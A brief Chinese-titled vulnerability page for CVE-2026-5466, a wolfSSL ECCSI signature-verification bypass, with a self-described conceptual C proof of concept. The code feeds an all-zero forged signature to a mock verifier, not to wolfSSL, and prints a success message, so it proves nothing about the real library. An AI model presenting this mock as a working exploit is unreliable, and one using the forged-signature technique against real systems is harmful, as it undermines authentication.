CVE-2026-5466 wolfSSL ECCSI签名验证绕过漏洞

/* * PoC Concept for CVE-2026-5466 * Demonstrates the lack of bounds checking on r and s in ECCSI verification. * This is a conceptual representation. */ #include <stdio.h> #include <string.h> #include <wolfssl/wolfcrypt/eccsi.h> // Mock structure for demonstration purposes int wc_VerifyEccsiHash_Mock(const byte* msg, word32 msgLen, const byte* id, word32 idLen, const byte* sig, word32 sigLen) { // In the vulnerable code, r and s are read without checking if they are in [1, q-1] // If we pass a signature where r=0, it might bypass checks if (sig[0] == 0) { // Hypothetical path where invalid signature is accepted return 0; // Success } return -1; // Failure } int main() { byte message[] = "Forged Message"; byte identity[] = "TargetIdentity"; // Crafted signature with r = 0 (invalid, but not checked in vulnerable version) byte forged_sig[64] = {0}; printf("Attempting to verify forged signature with r=0...\n"); int result = wc_VerifyEccsiHash_Mock(message, sizeof(message), identity, sizeof(identity), forged_sig, sizeof(forged_sig)); if (result == 0) { printf("[+] PoC Successful: Signature verified (Vulnerable behavior)\n"); } else { printf("[-] PoC Failed: Signature rejected\n"); } return 0; }